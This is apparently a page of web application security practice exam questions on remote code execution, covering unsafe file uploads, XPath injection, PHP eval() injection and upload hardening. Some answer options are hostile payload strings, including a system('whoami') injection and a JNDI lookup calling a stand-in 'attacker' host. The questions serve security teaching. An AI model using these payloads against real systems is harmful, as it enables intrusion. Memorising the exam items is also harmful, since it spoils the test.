Remote Code Execution (RCE) WAHS Practice Questions (Page 8)

Questions 36–40

1. 36foundation · easy

   Which of the following is a common indicator that a file upload feature could be exploited for remote code execution?

   • AThe application restricts uploads to images and renames them with a random string.
   • BThe application allows uploading files with executable extensions (e.g., .php) and stores them in a web-accessible directory.
   • CThe application checks the MIME type of the uploaded file.
   • DThe application stores uploaded files in a database as BLOBs.
   Reveal Solution Discussion Select an answer first
2. 37application · medium

   A web application allows users to upload profile images. The upload handler checks the file extension against a whitelist (.jpg, .png, .gif) and stores files under the web root. During testing, you upload a file named `avatar.php.jpg` and the server returns a 200 OK. Which additional condition would make this upload a viable RCE vector?

   • AThe web server processes the file as PHP because it uses the last extension in the filename.
   • BThe file is stored outside the web root, so it cannot be accessed directly.
   • CThe application renames the file to a random name without an extension.
   • DThe upload directory has execute permissions disabled.
   Reveal Solution Discussion Select an answer first
4. 38expert · hard

   A web application uses XPath queries to retrieve user profile data from an XML document. The application concatenates user input into the XPath expression. An attacker injects `' or '1'='1` into a search field. Which of the following is the most likely impact?

   • AThe attacker can retrieve data from the XML document that they are not authorized to see.
   • BThe attacker can cause a denial of service by crashing the XML parser.
   • CThe attacker can execute OS commands on the server.
   • DThe attacker can modify the XML document.
   Reveal Solution Discussion Select an answer first
5. 39application · medium

   A PHP application uses `eval()` to process a user-supplied mathematical expression in a calculator feature. The developer believes input validation blocks dangerous characters, but you find that the filter only removes `<script>` tags. Which payload would most likely achieve code execution?

   • A`<script>alert(1)</script>`
   • B`1; SELECT * FROM users;`
   • C`system('whoami');`
   • D`${jndi:ldap://attacker/a}`
   Reveal Solution Discussion Select an answer first
6. 40application · medium

   A PHP-based CMS allows authenticated editors to upload images. A tester uploads a file named `avatar.php` with a GIF header and PHP code, then accesses `/uploads/avatar.php` and sees the code execute. Which combination of controls would most effectively block this attack while still allowing legitimate image uploads?

   • ARename all uploaded files to a random name with a .txt extension and store them in the web root.
   • BStore uploads outside the web root and serve them through a script that forces the correct Content-Type and Content-Disposition.
   • CCheck the file extension against a whitelist and reject any file not ending in .jpg, .png, or .gif.
   • DUse a WAF to block requests to /uploads/ that contain PHP code in the file content.
   Reveal Solution Discussion Select an answer first